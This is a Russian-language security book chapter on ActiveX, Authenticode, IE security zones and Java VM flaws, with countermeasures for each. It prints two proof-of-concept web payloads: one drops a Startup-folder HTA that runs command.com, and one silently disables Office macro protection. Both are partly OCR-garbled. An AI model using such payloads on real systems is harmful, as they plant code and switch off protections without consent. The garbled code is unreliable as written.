Элементы ActiveX компании Microsoft

Элементы управления ActiveX являются результатом повторной попытки фирмы Microsoft разработать модель мобильного кода. Их часто описывают как приспособленную для Web технологию создания документов со связыванием и внедрением объектов (Object Linking and Embedding — OLE). На самом деле это сильно упрощенная трактовка набора интерфейсов, спецификаций и претендующих на исключительность парадигм разработки, входящих в модель СОМ компании Microsoft (COM — Component Object Model), которая и составляет основу технологии ActiveX. В то же время подобные упрощения способствуют лучшему пониманию. Приложения ActiveX могут создаваться для выполнения определенных задач (таких как воспроизведение видео-или звукового файла). Их можно поместить на Web-страницу, и тогда эти программы будут выполнять свои функции при ее просмотре точно так же, как технология OLE поддерживает операцию вставки электронных таблиц Excel в документы Word.
Обычно файлы с элементами управления ActiveX имеют расширение .OCX (исключением являются элементы управления ActiveX, написанные на Java). Они вставляются в Web-страницы с помощью дескриптора OBJECT, в котором указано, откуда элемент управления нужно загрузить. Когда броузер Internet Explorer обрабатывает Web-страницу с внедренным в нее элементом управления ActiveX (или несколькими элементами управления), первым делом он обращается к локальному системному реестру. Там он пытается определить, имеется ли на компьютере требуемый компонент. Если это так, Internet Explorer отображает Web-страницу, загружает элемент управления в свое адресное пространство и выполняет его код. Если необходимый элемент управления не найден, Internet Explorer загружает его из того места, которое указано в дескрипторе <OBJECT>, и устанавливает на компьютере пользователя. Кроме того, с помощью сертификатов Authenticode (см. ниже) броузер выполняет верификацию автора кода, а затем запускает его. По умолчанию элементы управления кэшируются в каталоге \windows\occache.
Не выходя за рамки вышеописанной модели, хакер-программист может создать элементы управления ActiveX, которые будут выполнять на компьютере пользователя практически все, что захочется их автору. Что же может помочь в такой ситуации? Сертификаты Authenticode компании Microsoft. Эта подсистема позволяет разработчикам использовать механизмы шифрования и создавать для своего кода криптографические подписи, которые перед запуском элемента ActiveX будут аутентифицироваться броузером Internet Explorer и приложениями сторонних производителей (одним из таких производителей является компания Verisign Corporation).
Как же на самом деле используются сертификаты Authenticode? В 1996 году программист по имени Фред Маклейн (Fred McLain) написал элемент управления ActiveX, который корректно выключал пользовательский компьютер, если он работал под управлением операционной системы Windows 95 с улучшенным управлением электропитанием. Для этого кода, названного автором Internet Exploder (взрывная машинка Internet), компания Verisign выдана ему подлинный сертификат, после чего Маклейн разместил программу на собственном Web-узле. В результате недолгих дебатов о целесообразности такой публичной демонстрации модели безопасности Authenticode, компании Microsoft и Verisign лишили Маклейна сертификата, обвиняя его в нарушении обязательств, на которых основан этот документ. Элемент Exploder работает как и раньше, но при этом он информирует любителей попутешествовать в Internet о том, что код не зарегистрирован, и дает им возможность отказаться от его загрузки.
Автор предоставляет читателю возможность решить самому, можно ли в этом случае считать, что сертификаты Authenticode выполняют свои функции, или нет. Но не стоит забывать о том, что Маклейн мог бы написать код, выполняющий намного более опасные действия, чем простое выключение компьютера. К тому же он мог проделать все это абсолютно скрытно. На сегодняшний день элементы ActiveX по-прежнему являются важным механизмом, который обеспечивает успешное функционирование многих Web-узлов. Однако при этом нередко возникают дополнительные проблемы, наиболее серьезные из которых обсуждаются в следующих разделах.

Флаг "Safe for scripting" технологии ActiveX


Летом 1999 года Георгий Гунински (Georgi Guninski) и Ричард М. Смит (Richard М. Smith) (и не только они) независимо обнаружили два различных изъяна в методе обработки элементов ActiveX броузером Internet Explorer. Установив для элементов управления флаг "safe for scripting" ("помеченный как безопасный"), их разработчики могут полностью обойти обычную процедуру проверки сертификатов Authenticode. В качестве примеров таких элементов ActiveX можно привести Scriptlet. typelib и Eyedog.OCX, предназначенные для использования в IE4 и более ранних версиях. Если для этих элементов управления установлен флаг "safe for scripting", то при их запуске в броузере на экран не будет выводиться никаких сообщений.
Возможно, не стоит волноваться по поводу элементов управления ActiveX, выполняющих безобидные функции, однако и Scriptlet, и Eyedog имеют доступ к файловой системе пользователя. Элемент Scriptlet. typelib позволяет создавать, редактировать и перезаписывать файлы, хранящиеся на локальном диске, a Eyedog — обращаться к системному реестру и осуществлять сбор информации о технических параметрах компьютера.
Георгий Гунински написал проверочный код для элемента управления Scriptlet, который помещает в каталог Startup удаленного компьютера исполняемый текстовый файл с расширением .НТА (приложение HTML — HTML Application). При следующей перезагрузке системы этот файл выполняется, и на экране отображается безобидное сообщение от Георгия.  Ниже приведен код, реализующий данную идею.

<object id="scr"
classid="clsid:06290BD5-48AA-HD2-8432-006008C3FBFC" >
</object> <SCRIPT> scr.Reset ();
scr.Path="C:\\windows\\Start
Menu\\Programs\\StartUp\\guninski.hta";
scr.Doc="<object id='wsh'
classid='clsid:F935DC22-1CFO-11DO-ADB9-OOC04FD58AOB'X/
object><SCRIPT>alert('Written by Georgi Guninski
wsh.Run('с:\\command.com')
;</"+"SCRIPT>";
scr.write(); </SCRIPT>
</object>

Этот изъян интерфейсов программного обеспечения, позволяющий получить к ним доступ, Ричард М. Смит (Richard M. Smith) назвал "случайным троянским конем". Установленные на жесткий диск многих пользователей вместе с таким популярными приложениями, как IE, данные элементы управления ActiveX ожидают, пока кто-нибудь не установит с ними удаленное соединение (http: //www. tiac.net/users /smiths/acetroj/index.htm).
Масштабы потенциального воздействия могут быть устрашающими. Чтобы установить флаг "safe for scripting" для элемента управления ActiveX, нужно либо реализовать в них интерфейсIObjectSafety, либо пометить их как безопасные. Для этого в системном реестре в ключ Implemented Categories, соответствующий данному элементу управления, необходимо добавить параметр 7DD95801-9882-11CF-9FA9-OOAA006C42C4 . Зачастую в системном реестре Windows находится несколько десятков таких элементов управления. Для подобных атак могут быть использованы те из них, которые могут выполнять действия с повышенными привилегиями (например, запись на диск или запуск кода).
Есть несколько способов, позволяющих определить, какие из элементов управления активно используются системой. Для обычного просмотра активных приложений СОМ (включая элементы управления ActiveX), установленных на компьютере, щелкните на кнопке Start, выберите команду Run и введите dcomcnfg. При этом на экране появится диалоговое окно, представленное на следующем рисунке.


Чтобы посмотреть, имеются ли среди этих объектов помеченные как "safe for scripting", воспользуйтесь утилитой oleview из набора NT Resource Kit (ее более новая версия входит в среду разработки приложений Visual Studio компании Microsoft). Утилита oleview позволяет просмотреть все зарегистрированные в системе объекты COM/ActiveX. Кроме того, она выводит их идентификатор класса (CLSID — Class ID), используемый при обращении к этим объектам в системном реестре, и многие важные параметры из поддерева Implemented Categories системного реестра.
Кроме того, утилита oleview отображает интерфейсы, экспортируемые объектами. Это помогает понять, является ли данный объект хорошей целью для взломщика, захват которой позволит выполнить операции с повышенными привилегиями.
Вполне закономерно, что почти год спустя хакером DilDog из группы "Cult of the Dead Caw" (см. главу 4 о знаменитом программном продукте Back Orifice) был обнаружен еще один подобный элемент управления под именем Office 2000 UA (OUA). Он регистрируется системой во время установки компонентов Microsoft Office. Для доказательства своей концепции хакер DilDog создал Web-страницу, посредством которой можно удаленно инстанцировать элемент OUA, установленный в системе пользователя, а затем с его помощью отключить защиту макросов документов Office без предупреждения пользователя. Далее с этой страницы загружается файл с именем evil .doc, в котором содержится простой макрос, создающий файл С: \dildog-was-here. txt. Удаленное инетанцирование OUA осуществляется с помощью следующего кода, внедренного на Web-странице. var ua;

function setup() {
// Создание элемента UA
ua = new ActiveXObject("OUACtrl.OUACtrl.1");
// Присоединение объекта ua к объекту ppt ua.WndClass=
"OpusApp"; ua.OfficeApp=0;
// Проверка того, что объекты UA "видят"
приложение Office return ua.IsAppRunning();
)
function disablemacroprotection()
{
var ret;
// Активизация приложения ua.AppActivate();
// Отображение диалогового окна защиты макросов

ua.ShowDialog(ОхОЕ2В);
// Щелчок на кнопке 'low' ua.SelectTabSDM(Ox!3);
// Щелчок на кнопке 'ok' ua.SelectTabSDM(l);
}
function enablemacroprotection()
{
// Активизация приложения
ua.AppActivate ();
// Отображение диалогового окна защиты макросов
ua.ShowDialog(OxOE2B);
// Щелчок на кнопке 'medium' ua.SelectTabSDM(0x12);
// Щелчок на кнопке 'ok'
ua.SelectTabSDM(1); }
// Начало выполнения сценария if(setupO)
{
disablemacroprotection();
parent.frames["blank"].location—
}
</script>
</body>
</html>

Элементы управления, помеченные как "safe for scripting", могут вызываться также из электронных сообщений в формате HTML. В этом случае их гораздо легче разместить в нужном месте, поэтому они могут быть более опасны. Подобные "бомбы" обсуждаются в следующих разделах, посвященных хакингу через электронную почту.

Защита от использования флага "safe for scripting"


Для защиты от этих серьезных изъянов пользователям Internet можно предложить три метода. Мы рекомендуем воспользоваться всеми тремя способами.
Во-первых, установите все имеющиеся модули обновления.  Однако не забывайте о том, что это лишь локальное решение проблемы: при использовании этих модулей обновления флаг "safe for scripting" будет изменен только для конкретных элементов управления. Они не обеспечивают глобальной защиты против любых атак, основанных на применении других элементов управления, помеченных как безопасные. Мы еще не до конца обсудили "случайного троянского коня" и вернемся к нему немного позже.
Вторая контрмера направлена исключительно против элемента OUA и ему подобных, использующих для выполнения своей грязной работы макросы Office. В Office 2000 установите самый высокий уровень защиты макросов (High), выбрав команду Tools>Macro>Security (таким образом необходимо настроить каждое приложение в отдельности, поскольку это нельзя сделать глобально).
Третья и наиболее эффективная контрмера заключается в ограничении использования или полном отключении элементов управления ActiveX. О том, как это сделать, рассказывается в разделе, посвященном зонам безопасности. Но перед этим следует уделить внимание еще одному изъяну, связанному с элементами ActiveX.
Разработчикам можно посоветовать, чтобы они не устанавливали флаг "safe for scripting" для тех элементов управления, которые выполняют в пользовательской системе действия с высокими привилегиями. Конечно, это касается только тех, кто не хочет превзойти Георгия Гунинского.

После инстанцирования элементы управления ActiveX остаются в памяти до тех пор, пока не будут выгружены. Для этого в командной строке введите команду regsvr32 /u [Имя_элемента].

Активная загрузка файлов


Независимый исследователь проблем безопасности Хуан Карлос Гарсия Квартанго (Juan Carlos Garci'a Cuartango), внимание которого особенно привлекает броузер Internet Explorer, поместил на своем Web-узле информационное сообщение об одном из его изъянов. Это оказалось настолько важным, что сообшение было переведено на английский язык (тогда как остальная информация узла была представлена на испанском). Суть изъяна заключается в возможности генерирования состояния отказа в обслуживании (DoS — Denial of Service), если для загрузки файлов с расширением .CAB, имеющих сертификат компании Microsoft, используется элемент управления ActiveX. При этом файлы загружаются в любое указанное место диска, даже если для этого необходимо записать их поверх других файлов.

Контрмеры


Компания Microsoft выпустила соответствующий модуль обновления, который можно найти по адресу http://www.microsoft.com/security (Bulletin MS00-42).

В системе Windows 2000 защиту определенных системных файлов от перезаписи обеспечивает служба WFP (Windows File Protection).

Разумное использование зон безопасности: общее решение проблемы элементов ActiveX
Возможно, к этому моменту многие читатели пришли к выводу, что элементы управления ActiveX стали проклятием клиентов Internet, нарушающим спокойствие и безопасность пользователей. Такое мнение не учитывает основную закономерность: чем более мощной и распространенной становится технология, тем больший потенциал в ней заключен. И этот изъян способен привести к различным, в том числе и к разрушительным последствиям. Элементы управления ActiveX — мощная и популярная технология; поэтому она может принести большой вред, если служит злонамеренным целям (более полно возможности ActiveX раскрыты в последующих разделах, где рассказывается о хакинге электронной почты). Конечные пользователи всегда стремятся к автоматизации выполнения своих повседневных задач, и элементы ActiveX — это один из инструментов, который способен удовлетворить эти потребности. Можно просто закрыть глаза и надеяться, что на сегодня все обойдется, а потом на смену этому программному обеспечению придет новое. Однако это далеко не лучший выход. Новые технологии, находящиеся где-то за горизонтом, скорее всего, будут таить в себе примерно те же опасности.
Общим решением проблемы, связанной с элементами управления ActiveX (не важно, связана ли она с использованием флага "safe for scripting"), является ограничение их возможности осуществлять над системой привилегированный контроль. Для этого требуется определенное понимание одного из наиболее значительных аспектов обеспечения безопасности системы Windows — зон безопасности (security zone). Поэтому для повышения степени защиты необходимо научиться правильно их использовать.

Одной из лучших ссылок по этой теме является статья Q174360 из базы знаний компании Microsoft (http://support.microsoft.com). Там вы найдете много ценной информации о зонах безопасности. 

По существу, модель зон безопасности позволяет определять разные уровни доверия для кода, загружаемого с одной из четырех зон: Local Intranet (Местная зона (интрасеть)), Trusted Sites (Зона надежных узлов), Internet (Зона Internet) и Restricted Sites (Зона ограниченных узлов). Существует еще пятая зона, которая называется Local Machine (Локальная машина), однако в пользовательском интерфейсе она недоступна, настроить ее можно только с помощью средств администрирования IEAK (IE Administration Kit)
В любую зону, за исключением зоны Internet, узлы можно добавлять вручную. В зоне Internet содержатся все узлы, не включенные в любую другую зону, которые содержат в своем URL символ точки (.) (например, узел http: //local по умолчанию входит в местную зону, тогда как узел http://www.microsoft.com находится в зоне Internet, поскольку в его адресе встречаются точки). При посещении узла, входящего в какую-то зону, активизируются соответствующие ей параметры безопасности (например, в зависимости от этого возможность запуска элементов управления ActiveX ("Run ActiveX controls") может быть разрешена или запрещена). Поэтому очень важно правильно настроить зону Internet, поскольку по умолчанию к ней относятся все посещаемые пользователями узлы. Конечно, если вручную добавить узел в другую зону, то на него это правило распространяться уже не будет. При перемещении узлов из одной зоны в другую будьте очень внимательны (в корпоративных локальных сетях наполнение других зон обычно производится администраторами этих сетей).
Чтобы настроить параметры безопасности зоны Internet, выберите в броузере Internet Explorer команду Tools^Internet Options и перейдите во вкладку Security (или запустите аплет Internet Options панели управления). Затем выберите в раскрывающемся списке элемент Internet zone и задайте требуемый уровень безопасности. Мы рекомендуем установить уровень безопасности High, а затем выбрать режим Custom Level и вручную настроить несколько других параметров, как показано в табл. 16.1.

Таблица 16.1. Рекомендуемые параметры безопасности зоны Internet( настройки уровня Custom Level нужно выполнять после того, как по умолчанию задан уровень безопасности High)

Категория
Имя параметра
Режим
Комментарий
ActiveX controls and plug-ins (элементы управления ActiveX и модули подключения)
Script ActiveX controls marked as safe for scripting
(выполнять сценарии элементов управления ActiveX, помеченных как безопасные)
Disable (отключить)
На взгляд авторов, пояснения излишни
Cookies (файлы "cookie")
Allow per-session cookies (not stored) (позволить использование cookies в течение одного сеанса (без сохранения))
Enable (использовать)
Мы предпочитаем использовать режим Prompt (запрашивать), но тогда постоянно возникающее окно подтверждения становится слишком назойливым
Downloads (загрузка)
File download (загрузка файла)
Enable (использовать)
Хотелось бы в этом пункте порекомендовать режим Prompt, однако здравый смысл подсказывает, что лучше установить режим Enable
Scripting (сценарии)
Active scripting (активные сценарии)
Prompt (запрашивать)
В данном случае нельзя сформулировать четкие критерии, поэтому лучше активизировать более консервативный режим

Параметры, позволяющие запретить использование элементов управления ActiveX, показаны на рис. 16.1.
Отключение элементов управления ActiveX может сказаться на возможности просмотра узлов, на которых отображение различных спецэффектов основано на этих элементах. На заре развития Web динамическая работа многих узлов в значительной степени зависела от загружаемого кода, в том числе и от элементов ActiveX. К счастью, в настоящее время эта парадигма все больше вытесняется расширениями языка HTML и сценариями, выполняющимися на сервере. Поэтому при работе с большинством узлов отключение элементов ActiveX не приведет к возникновению проблем, как это было раньше. Очевидным исключением из этого правила являются узлы, на которых используются элементы управления Shockwave компании Macromedia. При попытке просмотра таких узлов на экране появится следующее сообщение.



Рис. 16.1. Отключение элементов управления ActiveX с помощью аплета Internet Options панели управления позволит защитить систему от загрузки вредоносных элементов управления с враждебных Web-страниц

Если вы все же хотите воспользоваться преимуществами звуковых и анимационных эффектов, обеспечиваемых элементами Shockwave, придется допустить использование элементов ActiveX (конечно, если не задействован броузер Netscape, в котором элементы Shockwave выступают в качестве подключаемых модулей). Другим ориентированным на элементы ActiveX узлом, который посещается многими пользователями, является узел Windows Update компании Microsoft (WU), на котором элементы ActiveX используются для сканирования компьютера пользователя, а также для загрузки и установки нужных модулей дополнения. Этот Web-узел оказался удачной идеей. Он позволяет сэкономить огромное количество времени, требуемого для поисков отдельных модулей обновления (что особенно важно для обеспечения безопасности!), и автоматически определить, была ли ранее установлена правильная версия. Однако мы не думаем, что из-за одного узла, предоставляющего такие удобства, стоит полностью разрешать использование элементов управления ActiveX. Еще хуже то, что после запрещения использования элементов ActiveX в броузере Internet Explorer нельзя воспользоваться механизмом автоматического поиска адреса по фрагменту URL, введенному в адресной строке (например, когда по подстроке mрЗ требуется найти узел http: //www.mp3. com).
Одно из возможных решений этой проблемы заключается в ручном включении режима применения элементов ActiveX во время посещения надежного узла. Затем его придется отключить, и снова вручную. Разумнее занести эти узлы в зону надежных узлов. Присвойте этой зоне более низкий уровень безопасности (рекомендуется Medium (Средний)), а затем добавьте в нее надежные узлы, например WU (windowsupdate.microsoft.com). Таким образом, при посещении узла WU будут применяться менее жесткие параметры безопасности, и будут доступны возможности узла, связанные с использованием элементов ActiveX. Аналогично добавление в зону Trusted Sites узла auto.search.msn.com позволит задать соответствующие установки безопасности, позволяющие осуществлять поиск по содержимому адресной строки. Удобно, не правда ли?

Соблюдайте осторожность и добавляйте в зону надежных узлов только те из них, которые пользуются высокой степенью доверия, поскольку к ним будет применяться меньше ограничений, связанных с загрузкой их активного содержимого и запуском. Следует иметь в виду, что даже респектабельный Web-узел может быть взломан хакерами-злоумышленниками, или в группе его разработчиков может оказаться негодяй, охотящийся за данными пользователей (а возможны и худшие варианты).

Для безопасного чтения электронных сообщений приложения Outlook и Outlook Express можно настроить так, чтобы в них тоже учитывались зоны безопасности. Параметры Outlook и Outlook Express позволяют выбрать зону, уровень безопасности которой будет использоваться при обработке содержимого, отображаемого почтовой программой. Имеется две возможности: Internet и Restricted Sites. Конечно же, рекомендуется выбрать зону ограниченных узлов (новый модуль Outlook 2000 Security Update выполняет эту установку самостоятельно). Убедитесь в том, что в параметрах зоны Restricted Sites полностью отключены все категории активного содержимого! Для этого установите уровень безопасности High, а затем задайте режим Custom Level и отключите все режимы, которые остались включенными (если их отключить нельзя, установите переключатель в положение, соответствующее наивысшему уровню безопасности). Процесс настройки зоны Restricted Sites в Outlook показан на рис. 16.2Д
Как и в Internet Explorer, в Outlook можно смягчить самые сильные ограничения. Однако в электронных сообщениях активное содержимое встречается реже, чем на Web-страницах. Поэтому предупреждающие сообщения о них доставляют меньше беспокойства. Однако в этом случае опасность, возникающая в процессе интерпретации сообщения, намного превышает преимущества его эстетического восприятия. Читателям, которые не доверяют этому утверждению, рекомендуется дочитать главу до конца. Замечательной особенностью зон безопасности является то, что с их помощью можно заставить Outlook вести себя более консервативно, чем Web-броузер. Гибкость программного обеспечения и умение правильно пользоваться его параметрами приведет к повышению безопасности.



Рис. 16.2. С помощью команды Tools >Options>Security пользователи Outlook найдут схожие (но все же различные) группы параметров, позволяющие защититься от атак, которые реализуются с помощью сообщений электронной почты

Изъяны в системе защиты Java


В 1990 году компания Sun Microsystems решила создать парадигму программирования, которая помогла бы решить многие проблемы разработки программ, стоящие перед их создателями еще со времен зарождения вычислительной техники. В результате одним выстрелом удалось убить двух зайцев: создать новый язык Java и попутно решить многие традиционные проблемы обеспечения безопасности. Большинство людей полагают, что язык Java безопасен на все 100%, поскольку с самого начала был задуман как нечто исключительное. Это мнение в значительной мере подкрепляется маркетинговой политикой компании Sun. Конечно же, обеспечить абсолютную безопасность невозможно. Однако пути ее повышения, применяемые в Java, несомненно, представляют определенный интерес. (Ниже будет рассмотрена архитектура Java 2, или JDK 1.2, которая в момент написания книги являлась текущей.)
Java — тщательно продуманный язык, позволяющий программистам избежать многих ошибок, которые могут привести к таким проблемам безопасности, как переполнение буфера. На этапе компиляции и выполнения виртуальной машиной Java (JVM — Java Virtual Machine) и встроенным механизмом проверки байт-кода осуществляется строгий контроль типов, что помогает защитить используемые программой области памяти. Кроме того, в языке Java не поддерживается доступ к памяти и манипуляция ею с помощью указателей, позволяющих программисту управлять использованием и загрузкой кода.
Кроме того, в JVM есть встроенный диспетчер безопасности (Security Manager), выполняющий контроль доступа к системным ресурсам. Его работа основана на политике безопасности, задаваемой пользователем. Наряду с проверкой типов эти концепции создают ограничительный барьер, не позволяющий коду Java выполнять привилегированные действия без явного согласия пользователя. В дополнение ко всему вышесказанному язык Java позволяет использовать сертификаты, определяющие степень "надежности" загруженного извне кода или доверия к нему. Основываясь на своем доверии к данному сертификату, пользователь принимает решение, запускать данный код или нет (что во многом напоминает работу Authenticode).
Наконец, спецификация Java открыта для широкой общественности, с которой без проблем можно познакомиться по адресу http://java.sun.com. Очевидно, такая открытость для критики и анализа приводит к естественному отбору и избавлению от различных недостатков.
Теоретически эти механизмы преодолеть крайне сложно (фактически, для многих из них имеется формальное доказательство их безопасности). Однако на практике механизмы безопасности Java были взломаны много раз. Это произошло по той же хорошо известной причине, когда в процессе реализации нарушаются принципы, заложенные при проектировании. Хороший обзор, посвященный истории развития механизмов обеспечения безопасности в Java, можно найти на Web-странице Secure Internet Programming Принстонского университета. В последующих разделах описываются основные проблемы последних реализаций Java, предоставляющие наибольший интерес для пользователей клиентских приложений.

Ошибки JVM броузера Netscape Communicator


В апреле 1999 года сотрудник Марбургского университета (Германия) Карстен Зор (Karsten Sohr) обнаружил изъян важного компонента безопасности JVM броузера Netscape Communicator. При определенных обстоятельствах виртуальная машина Java не проверяет загружаемый в нее код. Использование этого изъяна позволяет взломщику запустить код, разрушающий механизмы проверки типов Java, и реализовать взлом со смешением типов (type confusion attack). Это классический пример отступления реализации от первоначального замысла.

Отключение Java в броузере Netscape


Обновите текущую версию Netscape, или отключите Java, выполнив следующие действия (рис. 16.3).
1. В программе Communicator выберите команду Edit^Preferences.
2. В появившемся диалоговом окне Preferences выберите категорию Advanced.
3. В этом же диалоговом окне сбросьте флажок Enable Java.
4. Щелкните на кнопке ОК.
Авторы считают, что возможность использования сценариев JavaScript можно оста-вито включенной. К тому же в настоящее время сценарии JavaScript настолько интенсивно используются Web-узлами, что от них практически невозможно отказаться. Однако мы настоятельно рекомендуем отключить возможность применения JavaScript в почтовом клиенте и приложении чтения новостей программы Netscape, как это показано на рис. 16.3



Рис. 16.3. Отключите Java в Netscape Communicator, чтобы защититься против опасных аплетов Java. Сценарии JavaScript представляют собой меньшую опасность, однако этот резким должен быть отключен для служб Mail и News

Изъян в механизме обеспечения безопасности Microsoft Java


В броузере Internet Explorer вскоре была обнаружена аналогичная ошибка. Из-за недостатков реализации механизма обеспечения безопасности в JVM компании Microsoft появилась возможность полностью обойти механизмы защиты с помощью хитро запрограммированного аплета, размещенного на удаленном Web-сервере, или встроенного в сообщение электронной почты в формате HTML.

Устранение ошибок в Internet Explorer


Чтобы узнать, уязвима ли используемая вами версия программы, введите в командной строке команду jview. Найдите номер сборки (последние четыре цифры номера версии) и определите, к какой из следующих категорий он относится.

Версия
Состояние
1 520 или ниже
Ошибка отсутствует
2000-2438
Есть ошибка
3000-3167
Есть ошибка

Не удивляйтесь, если после выполнения команды jview окажется, что изъян существует, даже если Internet Explorer не установлен. Некоторые другие продукты компании Microsoft, такие как Visual Studio, тоже устанавливают виртуальную машину Java. Во время написания этого раздела немало был удивлен и автор, когда выяснил, что у него на компьютере тоже установлена версия JVM с изъяном. Она была установлена вместе с IE 5.0 через год с момента выпуска модуля обновления!
Модуль обновления, который называется Virtual Machine Sandbox, можно найти по адресу http://www.microsoft.com/windows/ie/security/default.asp в списке других модулей обновления броузера Internet Explorer. В качестве крайней меры можно попробовать даже полностью отключить Java, хотя в этом случае Web-страницы с аплетами Java (которые работают со стороны клиента) потеряют всю свою привлекательность. Чтобы отключить Java в Internet Explorer, нужно выполнить действия, описанные в одном из предыдущих разделов, посвященном зонам безопасности. Кроме того, помимо установки уровня безопасности High для зоны Internet, нужно также вручную отключить все параметры, которые ссылаются на Java.

Brown Orifice и новые ошибки в Java


Летом 2000 года Дан Брумлев (Dan Brumleve) сообщил о двух выявленных изъянах. относящихся к реализации Java в Netscape Communicator. В частности, он установил, что в некоторых файлах библиотек классов Java при выполнении определенных операций не выполняется надлежащая проверка безопасности или результаты этой проверки игнорируются. В число классов, о которых идет речь, входит класс java.net. ServerSocket, используемый для создания прослушиваемых сетевых сокетов для входящих сетевых соединений, а также классы netscape, net. URLConnection и netscape.net.URLlnputSteam, содержащие абстрактные стандартные методы чтения локальных файлов. Во всех этих трех классах содержатся методы, в которых некорректно вызывается метод SecurityManager .check, определяющий, действительно ли данный аплет обладает правами доступа, необходимыми для выполнения некоторых действий. Если проверка завершилась неудачей, то это исключение игнорируется.
Оба этих изъяна были заложены в реализацию аплета Java, в котором перечисленные методы служат для создания портов прослушивания и получения права на чтение файловой системы. Дан написал код на языке Java и поместил его на своем Web-узле в качестве примера, иллюстрирующего справедливость концепции и возможность использования обнаруженных изъянов для взлома броузеров Internet. Он создал простую форму, позволяющую пользователю выбирать каталог для совместного применения и порт, который необходимо прослушивать. Эта информация передавалась в сценарий CGI на языке Perl, который обращался к разработанным Даном классам Java, устанавливая возможность совместного обращения к указанным каталогам и создавая со стороны клиента порты прослушивания, связанные с этими каталогами.
Демонстрируя прекрасное чувство юмора, Дан позаботился о поддержке возможностей, подобных возможностям программного продукта Napster, позволяя пользователям совместно работать с файлами через одноранговую сеть, которая создается миллионами пользователей, ведущих обмен данными с помощью протокола HTTP. Однако недооценивать серьезность проблемы не следует, хотя бы потому, что она позволяет устанавливать доступ к данным и выполнять их чтение. Обнаруженная Даном ошибка достаточно опасна. Она позволяет пользователям выбрать удаленный каталог, к которому они хотят иметь доступ. Можно разработать и более опасные аплеты, которые могут работать более скрытно и выявлять каждую систему с броузером Netscape, где можно поживиться важной информацией.

Контрмеры против Brown Orifice


Как обычно, единственный надежный способ защиты от опасных аплетов заключается в запрете использования Java в Web-броузере. Сделать это можно в броузере Netscape, как описано выше в разделе "Отключение Java В Броузере Netscape" и показано на рис. 16.3. Мы рекомендуем использовать эти параметры пользователям Netscape.
Компания Netscape не позаботилась о разработке модулей обновления, устраняющих ошибку. Данный изъян имеется в версиях с 4.0 по 4.74 броузера Communicator, которые можно использовать в операционных системах Windows, Macintosh и UNIX. В Netscape 6 этой ошибки нет.